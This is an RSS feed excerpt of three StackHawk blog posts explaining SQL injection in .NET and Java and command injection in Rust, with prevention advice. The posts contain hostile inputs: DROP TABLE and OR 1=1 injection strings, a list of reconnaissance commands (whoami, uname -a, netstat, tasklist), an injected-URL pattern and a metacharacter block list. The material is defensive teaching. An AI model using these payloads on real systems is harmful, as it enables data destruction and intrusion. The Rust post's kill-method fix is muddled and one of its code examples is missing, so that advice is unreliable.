what it&amp;#39;s supposed to be.&lt;/p&gt;&lt;p&gt;A successful SQL attack can be devastating. It can enable the attacker to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Access/steal unauthorized data&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Include unauthorized data in the target database&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;change or delete data from the database&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To sum it up: SQL injections can be really bad for your organization. The consequences can be catastrophic, including not only financial but also legal and reputational ones.&lt;/p&gt;&lt;h2&gt;.NET SQL Injection: A Simple Example&lt;/h2&gt;&lt;p&gt;I promised I would explain how a .NET SQL injection works in further detail. Time to deliver on that promise.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you&amp;#39;ve written a blog engine using .NET. A very common feature for blog engines is to include the title of posts in their URLs without spaces or special characters—we call that a &amp;quot;slug.&amp;quot; That slug is then used to retrieve the relevant post from the database.&lt;/p&gt;&lt;p&gt;So, it&amp;#39;s not unreasonable to think your app would have code like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var query = &amp;quot;SELECT Title, Body, Excerpt FROM Post WHERE Slug = &amp;#39;&amp;quot; + slug + &amp;quot;&amp;#39; ORDER BY Published DESC&amp;quot;;

// query execution, etc&lt;/code&gt;&lt;/p&gt;&lt;p&gt;So, what&amp;#39;s the problem? Considering the &lt;b&gt;slug&lt;/b&gt; variable comes from user input and it&amp;#39;s simply concatenated as is in the query, this application is open to a SQL injection. The malicious actor could edit the URL so it looks like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;YOUR-DOMAIN-NAME&amp;gt;/posts/&amp;#39;; DROP TABLE Post;--&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The string concatenation would result in the following query:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT Title, Body, Excerpt FROM Post WHERE Slug = &amp;#39;&amp;#39;; DROP TABLE Post;--&amp;#39; ORDER BY Published DESC&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As you can see, the single quote provided by the malicious actor matched the opening one already existing within the query. Then, the malicious query emits a DROP TABLE statement. Following that, it includes the &amp;quot;--&amp;quot; character, which makes everything else be considered as a comment.&lt;/p&gt;&lt;h2&gt;How to Prevent .NET SQL Injection&lt;/h2&gt;&lt;p&gt;As you&amp;#39;ve seen, SQL injection attacks can deal a devastating blow to your application. How can you avoid that?&lt;/p&gt;&lt;p&gt;A lot of the advice to prevent SQL injections is related to &amp;quot;sanitizing your input.&amp;quot; While distrusting all user input is a wise choice in general, sanitizing inputs won&amp;#39;t suffice as a solution.&lt;a href=&quot;https://kevinsmith.io/sanitize-your-inputs/&quot;&gt; &lt;u&gt;This article by Kevin Smith&lt;/u&gt;&lt;/a&gt; gives a nice explanation as to why. So, what are the valid solutions?&lt;/p&gt;&lt;h3&gt;Validating Input&lt;/h3&gt;&lt;p&gt;Often, the methods in your application will accept only a small subset of all possible values as valid. For instance, if your ASP.NET MVC app has an action that gets an integer as a parameter...Well, there&amp;#39;s really no reason to allow it to receive a string. Indicating the correct type in the action method will cause attempts of passing anything that&amp;#39;s not an integer to fail.&lt;/p&gt;&lt;h3&gt;Using Allowlists&lt;/h3&gt;&lt;p&gt;This is perhaps a continuation of the previous idea. In some situations, the set of valid values will be small enough that you&amp;#39;ll be able to create a list with all of them. For instance, imagine a bug-tracking system in which you can filter tickets by their severity (e.g. low, medium, high, critical.) Since the set of possible values is so small, the application code can keep the whole list in memory and validate the URL parameters. If it&amp;#39;s not on the list, it&amp;#39;s a hard no.&lt;/p&gt;&lt;h3&gt;Using Parametrized Queries&lt;/h3&gt;&lt;p&gt;The most excellent method when it comes to avoiding .NET SQL injections—or injections in any other tech stack—is to use parametrized queries.&lt;/p&gt;&lt;p&gt;Parametrized queries avoid SQL injection in a clever way: You simply don&amp;#39;t include the user-provided values in the query at all. They are provided to the database separately, &lt;i&gt;never being part of the text of the SQL query itself.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The query in our previous example would be written like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var query = &amp;quot;SELECT Title, Body, Excerpt FROM Post WHERE Slug = @slug ORDER BY Published DESC&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;We avoid string concatenation by using a placeholder for the slug. Great, but how do we pass the actual value?&lt;/p&gt;&lt;p&gt;After creating a new &lt;b&gt;SqlCommand&lt;/b&gt;, you would add a new parameter using the &lt;b&gt;AddWithValue&lt;/b&gt; method:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var query = &amp;quot;SELECT Title, Body, Excerpt FROM Post WHERE Slug = @slug ORDER BY Published DESC&amp;quot;;
var command = new SqlCommand(query, connection);
command.Parameters.AddWithValue(&amp;quot;@slug&amp;quot;, slug);&lt;/code&gt;&lt;/p&gt;&lt;h2&gt;Remediation: The Principle of Least Privilege&lt;/h2&gt;&lt;p&gt;A great security practice—not only for avoiding SQL injections, but in general—is what&amp;#39;s sometimes called the principle of least privilege. It simply means always choosing the least possible privilege for executing any sensitive action. For instance, if you&amp;#39;re integrating with some API and you need to generate a token, make sure you only grant the permissions you&amp;#39;ll actually use in your app, and nothing more.&lt;/p&gt;&lt;p&gt;In the case of databases, the principle of least privilege means using database logins that can only do the bare minimum. Remember our first example? The malicious SQL code generated was this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT Title, Body, Excerpt FROM Post WHERE Slug = &amp;#39;&amp;#39;; DROP TABLE Post;--&amp;#39; ORDER BY Published DESC&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If the application&amp;#39;s connection string used a database account with just reading privileges, the malicious query above wouldn&amp;#39;t be able to cause any harm.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Does SQL Injection Still Work in 2021? Yes, but It Doesn&amp;#39;t Have to!&lt;/h2&gt;&lt;p&gt;If you Google &amp;quot;SQL injection&amp;quot;, the &amp;quot;people also ask&amp;quot; section will show you questions like: Does SQL injection still work in 2021?&lt;/p&gt;&lt;p&gt;It&amp;#39;s curious that many people consider SQL injections an &amp;quot;archaic&amp;quot; type of attack. And it&amp;#39;s depressing to think that, yes, SQL injections still work, being consistently ranked in the&lt;a href=&quot;https://owasp.org/&quot;&gt; &lt;u&gt;top 10 OWASP&lt;/u&gt;&lt;/a&gt; security threats report.&lt;/p&gt;&lt;p&gt;The good news is that SQL injections aren&amp;#39;t inevitable. As you&amp;#39;ve seen today, with the help of parametrized queries, you can avoid string concatenation, which means raw input values are never part of the text of the SQL query. With the use of an ORM such as Entity Framework, the risk of an injection is further decreased since queries aren&amp;#39;t assembled by string manipulation.&lt;/p&gt;&lt;p&gt;To sum it up:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;As a rule, never trust user input without performing validation on it&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Always use parametrized queries&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Abide to the rule of least privilege&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Following the tips above will dramatically reduce the chances of a SQL injection attack in your application. Stay safe, and thanks for reading!&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Java SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/java-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If you google &amp;quot;Java SQL injection,&amp;quot; you&amp;#39;ll see that people ask questions like &amp;quot;Is SQL injection possible in Java?&amp;quot; Or even &amp;quot;Do SQL injections still work in 2021?&amp;quot; Well, I hate to be the bearer of bad news, but the answer to both questions is yes.&lt;/p&gt;&lt;p&gt;On a brighter note, know that SQL injection (SQLi) isn&amp;#39;t inevitable. Despite being very common and causing a lot of damage, when successful, SQLi attacks are avoidable. In this post, you&amp;#39;ll learn what a SQL injection really is, how it works, how to avoid it, and how to make your app more resilient in the chance an attack manages to succeed.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s begin.&lt;/p&gt;&lt;h2&gt;What Is a Java SQL Injection?&lt;/h2&gt;&lt;p&gt;Well, technically speaking, there&amp;#39;s no such thing as a &amp;quot;Java SQL injection.&amp;quot; When we say that, we&amp;#39;re simply referring to SQL injection attacks to Java codebases. The question then becomes, &amp;quot;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;What is a SQL injection?&lt;/u&gt;&lt;/a&gt;&amp;quot;&lt;/p&gt;&lt;p&gt;While we do have an entire post dedicated to that, here comes the&lt;a href=&quot;https://www.merriam-webster.com/dictionary/TL%3BDR&quot;&gt; &lt;u&gt;TL;DR&lt;/u&gt;&lt;/a&gt;: a SQL injection is an attack where a person manages to inject unauthorized SQL—structured query language—code into an application. As a result, the attacker gains the ability to change the behavior of a legitimate query before it hits the database.&lt;/p&gt;&lt;p&gt;Thus, they might be able to access and steal unauthorized information or, perhaps worse, insert, change, or delete data from the database.&lt;/p&gt;&lt;p&gt;How does someone perform a SQL injection attack? In short, the attacker abuses vulnerabilities in web applications. They enter information that they know—or believe—the app will concatenate, untreated, into a database query.&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s look at some examples of SQL injection.&lt;/p&gt;&lt;h2&gt;SQL Injection in Java: A Basic Example&lt;/h2&gt;&lt;p&gt;Consider the following line of code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;String pw = &amp;quot;123456&amp;quot;; // this would come from the user
String query = &amp;quot;SELECT * from users where name = &amp;#39;USER&amp;#39; &amp;quot; +
		  &amp;quot;and password = &amp;#39;&amp;quot; + pw + &amp;quot;&amp;#39;&amp;quot;;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;It might not seem that bad, right? But now suppose someone entered this as the password:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;#39;; DROP TABLE users --&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After the concatenation, that single quote at the beginning would match with the one already in the query. The two dashes at the end mean anything after them would be interpreted as comments. So the resulting query would be this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * from users where name = &amp;#39;USER&amp;#39; and password = &amp;#39;&amp;#39;; DROP TABLE users --&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Instead of selecting a user, we would be dropping the whole table!&lt;/p&gt;&lt;p&gt;Sure, this is an extreme example. For this attack to work, the attacker would have to know that the table is called users—and they can use another type of SQLi attack to learn that information. Also, the database connection used in this part of the application would have to have &lt;b&gt;drop table&lt;/b&gt; privileges, which is strongly recommended against—more on this later.&lt;/p&gt;&lt;h2&gt;An Additional Example&lt;/h2&gt;&lt;p&gt;Another classic example of SQL injection is what&amp;#39;s called boolean SQL injection.&lt;/p&gt;&lt;p&gt;Suppose you have a query like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM projects WHERE user_id = 10&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This will obviously return projects belonging to the user with an ID equal to 10. Nice. But what about the following one?&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM projects WHERE user_id = 10 OR 1 = 1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The query above has an additional condition, which tests whether 1 equals to 1. The comparison doesn&amp;#39;t have to be that one, of course. Any comparison that evaluates as &lt;b&gt;true&lt;/b&gt; suffices.&lt;/p&gt;&lt;p&gt;Since the injected condition always returns true, everything after &lt;b&gt;WHERE&lt;/b&gt; will be evaluated as true, which means the query will retrieve all projects.&lt;/p&gt;&lt;h2&gt;How to Prevent Java SQL Injections&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;The top advice you can adopt to avoid SQL injections—and also other security threats—is to &lt;b&gt;never trust user input.&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;In practice, that means never concatenating data you get from users, be it from form fields, URL parameters, or other sources.&lt;/p&gt;&lt;p&gt;What should you do then?&lt;/p&gt;&lt;h3&gt;Use the Type System in Your Favor&lt;/h3&gt;&lt;p&gt;Java is a statically typed language. This means that, unlike languages like JavaScript, data types are known in development time. So use that functionality in your favor.&lt;/p&gt;&lt;p&gt;In practice, that means always using the most specific and restrictive data type. For instance, if your web app has a method for retrieving an instance based on its integer ID, don&amp;#39;t have the method accept &lt;b&gt;String&lt;/b&gt; as a parameter. Just by using the correct type, you already reduced the likelihood of exploitation. Consider the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;@GetMapping(&amp;quot;/employees/{id}&amp;quot;)
EntityModel one(@PathVariable Long id) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  Employee employee = repository.findById(id) //
      .orElseThrow(() -&amp;gt; new EmployeeNotFoundException(id));&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return EntityModel.of(employee, //
      linkTo(methodOn(EmployeeController.class).one(id)).withSelfRel(),
      linkTo(methodOn(EmployeeController.class).all()).withRel(&amp;quot;employees&amp;quot;));
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The code above comes from&lt;a href=&quot;https://spring.io/guides/tutorials/rest/&quot;&gt; &lt;u&gt;Spring Boot&amp;#39;s tutorial on how to create a REST API&lt;/u&gt;&lt;/a&gt;. As you can see, the method accepts a numeric ID, declaring the parameter as &lt;b&gt;Long&lt;/b&gt;. Thus, an attempt to pass any non-numeric data—including the kind of text necessary for an SQLi attempt—would result in an error, and the attack attempt would be foiled.&lt;/p&gt;&lt;h3&gt;Validate Input Using an Allowlist&lt;/h3&gt;&lt;p&gt;Sometimes, the valid values for a given operation are very few. In such scenarios, you might use an allowlist containing all valid values. Like a bouncer in front of a club, you can simply match every entered value against the list, denying entry if a value isn&amp;#39;t found.&lt;/p&gt;&lt;p&gt;Suppose your application is a news site. The administrative area allows the site staff to add and manage news stories. Each story can have one of several different statuses, such as draft, published, preview, and so on. It&amp;#39;s fair to imagine such an app would have a search feature in which you can filter through the existing stories according to their types.&lt;/p&gt;&lt;p&gt;The user would click on a link, which would redirect to a URL containing, as a parameter, the type of story, like &lt;b&gt;&amp;lt;SOME-URL&amp;gt;&amp;amp;story_status=draft&lt;/b&gt;. The &amp;quot;draft&amp;quot; part would then become part of a SQL query.&lt;/p&gt;&lt;p&gt;Since the number of possible statuses is small and previously known, you could use the allowlist approach here. The allowlist could be a simple &lt;b&gt;ArrayList&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;List allowList = new ArrayList(4);

allowList.add(&amp;quot;draft&amp;quot;);
allowList.add(&amp;quot;published&amp;quot;);
allowList.add(&amp;quot;updated&amp;quot;);
allowList.add(&amp;quot;deleted&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, performing the input validation would be a matter of a simple check:&lt;/p&gt;&lt;p&gt;&lt;code&gt;if (allowList.contains(urlParam)) {
// proceeds to assemble and execute the SQL Query&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;Use Parameterized Queries&lt;/h3&gt;&lt;p&gt;The best solution for the problem of SQL injections is parameterized queries. That means you don&amp;#39;t concatenate user-supplied values. Instead, you use placeholders for those values, ensuring the values themselves are never part of the text of the query. The parameters are then passed to the database through a different mechanism.&lt;/p&gt;&lt;p&gt;The query from our first example could look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;String query = &amp;quot;SELECT * from users where name = ? and password = ?&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The question marks are placeholders for the actual values. As you can see, the query text never contains the entered values. We do that by creating a prepared statement:&lt;/p&gt;&lt;p&gt;&lt;code&gt;String user = &amp;quot;user&amp;quot;; // comes from user
String password = &amp;quot;password&amp;quot;; // comes from user, gets hashed, etc
String query = SELECT * FROM users WHERE user = ? AND password = ?&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;PreparedStatement statement = con.prepareStatement(query);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;myStmt.setString(1, user);
myStmt.setString(2, password);&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;Beware: ORM Can Help, but It&amp;#39;s Not Bulletproof&lt;/h3&gt;&lt;p&gt;The usage of object-relational mapping (ORM) is encouraged, not only in regards to SQL injection protection but also due to time-saving concerns. It abstracts a lot of the complexities that go into connecting with the database.&lt;/p&gt;&lt;p&gt;However, ORM is in no way bulletproof against SQL injections. Many ORM tools still offer ways for the user to execute raw SQL instructions. If said instructions get compromised, an injection will happen anyway.&lt;/p&gt;&lt;p&gt;Additionally, if you use a framework such as&lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-spring/&quot;&gt; &lt;u&gt;Spring&lt;/u&gt;&lt;/a&gt;, make sure you educate yourself on the specifics of that framework.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;SQL injection attacks exploit the fact that an app concatenates raw, untreated values into SQL queries. So, to avoid this type of attack, you should make sure to avoid concatenating user-supplied data into your queries.&lt;/p&gt;&lt;p&gt;As a general rule, don&amp;#39;t trust user input before validating it. This helps not only with SQLi but other injection attacks as well, such as&lt;a href=&quot;https://www.stackhawk.com/blog/command-injection-java/&quot;&gt; &lt;u&gt;command injections&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As you&amp;#39;ve seen, fighting SQL injections relies on you using parameterized queries or prepared statements. This is true not only for Java but other languages and tech stacks as well.&lt;/p&gt;&lt;p&gt;Finally, there&amp;#39;s another principle you should always have in mind: the principle of least privilege. For example, when generating access tokens for an API, only grant it as few privileges as possible. But what about databases? Remember back at the start of the post when I said that using database users with potentially dangerous privileges, when not necessary, was strongly recommended against? Well, that&amp;#39;s why: the principle of least privilege. So, when creating a connection string, don&amp;#39;t use the admin user or any user with destructive privileges.&lt;/p&gt;&lt;p&gt;This way, even if an attacker succeeds at injecting malicious code into your app, they won&amp;#39;t be able to change or delete data. Sure, just accessing unauthorized data is bad enough, but at least you prevent more damage.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The Rust programming language has been praised for having so many security features built right into the code. Be that as it may, it&amp;#39;s by no means a pass for Rust developers to relax when making new apps. Hackers can still take advantage of existing Rust-Lang code to carry out command injection attacks. &lt;/p&gt;&lt;p&gt;This post explores the extent to which command injection can be perpetrated in the context of Rust apps. We&amp;#39;ll show a few examples to make the threat real, followed by best practice patches thereof. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start with a brief overview of how a command injection exploit would unfold and why it&amp;#39;s possible. &lt;/p&gt;&lt;h2&gt;How a Command Injection Attack Works&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start off by explaining what is actually happening when a &lt;a href=&quot;https://www.stackhawk.com/blog/react-command-injection-examples-and-prevention/#what-exactly-is-a-command-injection-attack&quot;&gt;&lt;u&gt;command injection attack&lt;/u&gt;&lt;/a&gt; executes. Many often mistake the command injection with a remote code execution attack. The latter requires extra code passed toward&lt;i&gt; the server&lt;/i&gt; on which an application is hosted. However, command injections target &lt;i&gt;the operating system&lt;/i&gt; on which an app is hosted. Much like how a &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection attack&lt;/u&gt;&lt;/a&gt; targets the underlying database. &lt;/p&gt;&lt;p&gt;The logic is simple; even if an app can be exploited by other means, taking over the entire hosting machine is so much better. This way, you gain control over the app and any others sharing the host machine. To achieve this, the attacker passes a few simple commands that execute on the operating system through the terminal. Ergo, command injection attacks are also known as shell attacks. &lt;/p&gt;&lt;p&gt;Simple commands that prompt the operating system to respond to the attacker under the guise of the app&amp;#39;s access level can provide so much information about the app and even the host machine itself. This will make more sense when you get to the example section of the post. Keep going! &lt;/p&gt;&lt;h2&gt;The Rust Context of Command Injection&lt;/h2&gt;&lt;p&gt;When taken in the context of Rust-Lang applications, command injections disregard any perceptions of robustness attributable to the language itself and focus on the underlying stack. Your code can still give the attacker the leeway to perpetrate an attack. &lt;/p&gt;&lt;p&gt;There are certain aspects of your code that an attacker can take advantage of. The following section discusses these for web apps and native platform systems made with Rust-Lang. &lt;/p&gt;&lt;h2&gt;Rust Command Injection Examples&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s say, for example, your Rust application queries information from the server through a request like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;pub fn new_job(url: String) {
    thread::spawn(move || {
        let _child = job::Command::new(&amp;quot;cmd.exe&amp;quot;)
            .arg(&amp;quot;/C&amp;quot;)
            .arg(&amp;quot;ping&amp;quot;)
            .arg(&amp;amp;url)
            .arg(&amp;quot;-t&amp;quot;)
            .spawn()
            .expect(&amp;quot;Couldn&amp;#39;t run &amp;amp;arg&amp;quot;);
    });
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Already this piece of Rust code poses a threat as it prompts the creation of two processes that directly allow user args to run on the OS. The &lt;b&gt;cmd.exe&lt;/b&gt; executable initiates the &lt;b&gt;command&lt;/b&gt; prompt. Then it passes the arguments provided in succession, ending in an open exploitable path for any hacker to run extra arguments of their own. All this, under the rights of an approved user (usually with admin privileges). &lt;/p&gt;&lt;p&gt;Several commands can be sent to the OS as part and parcel of the &lt;b&gt;.args&lt;/b&gt; as follows. &lt;/p&gt;&lt;p&gt;For Linux-hosted apps, these are the arguments: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{whoami}&lt;/code&gt;: prints the name of the user on which commands will be executed (the same command for Windows)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{uname -a}&lt;/code&gt;: prints details about the operating system in the same command-line tab&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;{ifconfig}: prints out network configuration information&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{netstat -an}&lt;/code&gt;: reveals network connections discoverable on the server machine (works on Windows OS too)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{ps -ef}&lt;/code&gt;: this is a roll call of all processes running&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The same arguments have Windows versions. It makes so much sense to find out the OS type first. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{ver}&lt;/code&gt;: shows the attacker what OS you&amp;#39;re running&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{ipconfig /all}&lt;/code&gt;: extracts network configuration details&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;{tasklist}&lt;/code&gt;: self-explanatory&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These easy-to-learn commands are just the tip of the iceberg when exploiting Rust applications. In fact, a hacker could go as far as downloading files (or entire apps) from your root directory. All it takes on their end is to learn enough about the host machine. From this attack, they could develop other crafty methods of getting paid for their effort. As is the case with most corporate ransom-motivated hacks.&lt;/p&gt;&lt;h3&gt;Rust-Lang Web Application Vulnerabilities&lt;/h3&gt;&lt;p&gt;You may have resorted to using Rust as the back-end language for your web applications, which is possible with the use of &lt;a href=&quot;https://blog.logrocket.com/the-current-state-of-rust-web-frameworks/&quot;&gt;&lt;u&gt;Rust frameworks&lt;/u&gt;&lt;/a&gt;. This simply means the browser can send queries through the navigation bar to your host machine. From a hacker&amp;#39;s perspective, this is a possible entry point for commands that your OS will parse. Let&amp;#39;s look at how this could happen. &lt;/p&gt;&lt;p&gt;Consider this snippet of code from a Rust web application&amp;#39;s main function. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Rust-Lang command injection examples.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;While it will execute and deliver the expected outcome, it leaves so much room for an attack through command injection. Once the code runs, the browser can be used to put breaks (like &lt;b&gt;&amp;amp;&lt;/b&gt;, &lt;b&gt;|&lt;/b&gt;, &lt;b&gt;-&lt;/b&gt;, &lt;b&gt;....&lt;/b&gt;) in between requests to prompt an alternative command execution by the target OS. The code even lets the shell run if the &lt;b&gt;cmd&lt;/b&gt; command fails. &lt;/p&gt;&lt;p&gt;One such attack could look like this: &lt;/p&gt;&lt;p&gt;&lt;b&gt;Normal URL:&lt;/b&gt; www.domainname.com/resourcelocation/queryorcommand &lt;/p&gt;&lt;p&gt;The URL above is clean and will produce predictable results. However, the one below, which has an injected command in between the ampersand signs, will execute the hacker&amp;#39;s wishes on the machine. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Injected URL:&lt;/b&gt; www.domainname.com/resourcelocation/&lt;b&gt;&amp;amp; command &amp;amp;&lt;/b&gt;queryorcommand &lt;/p&gt;&lt;h2&gt;How to Patch Your Applications Against Command Injection&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve gone over two instances to demonstrate the possibility and severity of command injections in Rust-Lang, let&amp;#39;s look at the fixes. &lt;/p&gt;&lt;h3&gt;1. Use Kill Methods to End Open Command Prompt Sessions&lt;/h3&gt;&lt;p&gt;In reference to the first code example, the &lt;b&gt;_child&lt;/b&gt; process would loop on any attacker&amp;#39;s whim. To seal this vulnerability, we can implement the &lt;a href=&quot;https://doc.rust-lang.org/std/process/struct.Child.html#method.kill&quot;&gt;&lt;u&gt;&lt;b&gt;kill&lt;/b&gt;&lt;/u&gt;&lt;u&gt; method&lt;/u&gt;&lt;/a&gt; on each process while telling it what we expect. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a syntactic implementation of the kill method. &lt;/p&gt;&lt;p&gt;We first need a child process implementation to later terminate: &lt;/p&gt;&lt;p&gt;&lt;code&gt;impl _Process&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And then the kill command itself: &lt;/p&gt;&lt;p&gt;&lt;code&gt;pub fn kill(&amp;amp;mut self) -&amp;gt; Result&amp;lt;()&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This is just one of the few practices you must enforce across your dev team for better application security overall. Where users have such access to the system, you must also put safety nets in place to hold off hackers. &lt;/p&gt;&lt;h3&gt;2. Block Arbitrary Commands From Being Parsed&lt;/h3&gt;&lt;p&gt;Now, let&amp;#39;s look at the second example. Sanitizing that &lt;b&gt;main()&lt;/b&gt; function by explicitly listing a range of values as a forbidden range will help. Simply declare a &lt;b&gt;forbidden&lt;/b&gt; array comprising the &lt;b&gt;pause&lt;/b&gt; and &lt;b&gt;directive&lt;/b&gt; commands that your system reads as instructions. &lt;/p&gt;&lt;p&gt;The implementation would look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;let blocked = [&amp;#39;|&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, etc]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Etc. Here is a long list of such characters. &lt;/p&gt;&lt;p&gt;This array is followed by an iteration that checks the input or final argument processed using a common Rust loop control flow. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Testing Rust-Lang Apps for Vulnerabilities&lt;/h2&gt;&lt;p&gt;Knowing that your code is weak is a more actionable situation than figuring out when an attack is active. At least then you can implement one of the methods above to stop the event of an attack. The Rust language has a very rich &lt;a href=&quot;https://crates.io/&quot;&gt;&lt;u&gt;resource of cargos&lt;/u&gt;&lt;/a&gt; where you&amp;#39;ll find safety-proven implementations against many of the possible attacks. &lt;/p&gt;&lt;p&gt;Some of the packages you&amp;#39;ll find in cargo spaces will protect you from not only command injection, but XSS and SQL injection as well. The more threats a package covers, the better it is for you to pick. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Deliberately following &lt;b&gt;coding best practices&lt;/b&gt;, such as developing from a security standpoint, will &lt;b&gt;improve your odds&lt;/b&gt; against command injection attacks. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;However, you&amp;#39;re better off including a testing process alongside your continuous integration workflow to make sure any new code doesn&amp;#39;t expose you to risks. &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk tools&lt;/u&gt;&lt;/a&gt; allow such intuitive detection of loopholes before they go into production. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai 